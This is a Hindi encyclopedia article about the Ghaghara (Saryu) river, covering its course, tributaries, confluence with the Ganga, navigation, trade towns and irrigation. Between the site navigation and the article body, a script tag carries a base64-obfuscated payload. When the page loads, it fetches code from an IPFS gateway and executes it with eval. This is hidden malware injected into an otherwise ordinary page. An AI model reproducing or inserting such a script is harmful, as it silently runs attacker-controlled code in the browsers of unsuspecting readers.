घाघरा

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

घाघरा (सरयू) गंगा की प्रमुख सहायक नदी है जो नेपाल तथा उत्तर प्रदेश से होकर बहती है। यह करनाली के नाम से हिमालय की ऊँची श्रेणियों को काटती हुई खीरी तथा बहराइच जिलों के बीच मैदान में उतरती है। घाघरा के बाएँ तट पर बाराबंकी, गोंडा, बस्ती और गोरखपुर तथा दाहिने किनारे पर खीरी, सीतापुर, बाराबंकी एवं फैजाबाद जिले पड़ते हैं।

शारदा नदी तीन प्रमुख शाखाओं

सुहेली, दहावर और चौका- के रूप में इसमें मिलती है। अन्य सहायक नदियाँ राप्ती तथा छोटी गंडक हैं। छपरा में घाघरा और गंगा का संगम है। घाघरा जलयातायात के लिये महत्वपूर्ण है। इसमें अयोध्या और पटना के बीच स्टीमर चलते हैं। नैपाल से बड़ी मात्रा में लकड़ी, अनाज और मसाले भी इस नदी के द्वारा भेजे जाते हैं। इसके तट पर प्रमुख व्यापारिक केंद्र टॉडा, बरहज तथा रिबिलगंज हैं। बहरामघाट पर एलगिन बिज[१] तथा अयोध्या के निकट नावों का पुल[२] है। घाघरा नहर से सिंचाई के लिये १९६ कुसेक जल प्राप्त होता है जिससे २४,४७४ एकड़ भूमि की सिंचाई होती है।



टीका टिप्पणी और संदर्भ

  1. ३,६९५ फुट लंबाई
  2. ३, ९१२ फुट लंबाई